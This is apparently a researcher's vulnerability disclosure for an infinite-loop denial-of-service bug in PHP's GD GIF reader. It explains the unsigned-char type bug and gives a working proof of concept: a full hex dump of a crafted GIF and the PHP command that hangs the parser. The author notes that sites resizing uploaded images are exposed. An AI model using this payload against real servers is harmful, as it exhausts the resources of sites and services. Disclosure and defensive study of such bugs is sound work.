Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!
Affected All PHP version
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
Vulnerability Details The vulnerability is on the file ext/gd/libgd/gd_gif_in.c . There is a while-loop in LWZReadByte_ :
1 2 3 4 460 do {461 sd->firstcode = sd->oldcode =461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);463 } while (sd->firstcode == sd->clear_code);
Function GetCode
is just a wrapper, and GetCode_ do the real stuff.
1 2 3 4 5 6 7 8 9 10 11 12 376 static int 377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)378 {379 int i, j, ret;380 unsigned char count; ... 399 if ((count = GetDataBlock(fd, &scd->buf[2 ], ZeroDataBlockP)) <= 0 )400 scd->done = TRUE; ... 405 }
GetCode_
call GetDataBlock to read data from GIF!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 332 static int 333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)334 {335 unsigned char count;336 336 if (! ReadOK(fd,&count,1 )) {338 return -1 ;339 }340 341 *ZeroDataBlockP = count == 0 ;342 343 if ((count != 0 ) && (! ReadOK(fd, buf, count))) {344 return -1 ;345 }346 347 return count;348 }
OK, here are all vulnerable code, can you spot the vulnerability? :P
The bug relied on the type conversion from int
to unsigned char
. As you can see, if GetDataBlock_
return -1
, scd->done
in line 400 will set to True
, and stop the while-loop. But it will never be executed because the definition of count
is unsigned char
, it’s always be a positive from 0 to 255.
So the result is, one single GIF can make an infinite loop and exhausted the server resource.
PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 $ xxd poc.gif 00000000: 4749 4638 3961 4030 8230 9130 357c 3030 GIF89a@0.0.05|00 00000010: 3022 2e30 3030 3030 21f9 0401 3030 3000 0".00000!...000. 00000020: 2c30 0030 0040 0040 0048 03ff 8888 8888 ,0.0.@.@.H...... 00000030: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000040: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000050: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000060: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000070: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000080: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000090: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000000f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000100: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000110: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000120: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000130: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000140: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000150: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000160: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000170: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000180: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000190: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000001f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000200: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000210: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000220: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000230: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000240: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000250: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000260: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000270: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000280: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000290: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000002f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000300: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000310: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000320: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000330: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000340: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000350: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000360: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000370: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000380: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000390: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000003f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000400: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000410: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000420: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000430: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000440: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000450: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000460: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000470: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000480: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000490: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000004f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000500: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000510: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000520: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000530: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000540: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000550: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000560: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000570: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000580: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000590: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005c0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005d0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005e0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000005f0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000600: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000610: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000620: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000630: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000640: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000650: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000660: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000670: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000680: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 00000690: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000006a0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000006b0: 8888 8888 8888 8888 8888 8888 8888 8888 ................ 000006c0: 8888 88 ... $ php -r 'imagecreatefromgif("poc.gif");' Infinite loop here...
It’s easy to exploit in real world because lots of websites resize user-uploaded image by GD library…
Epilogue I will disclose more 0-days in the future!
References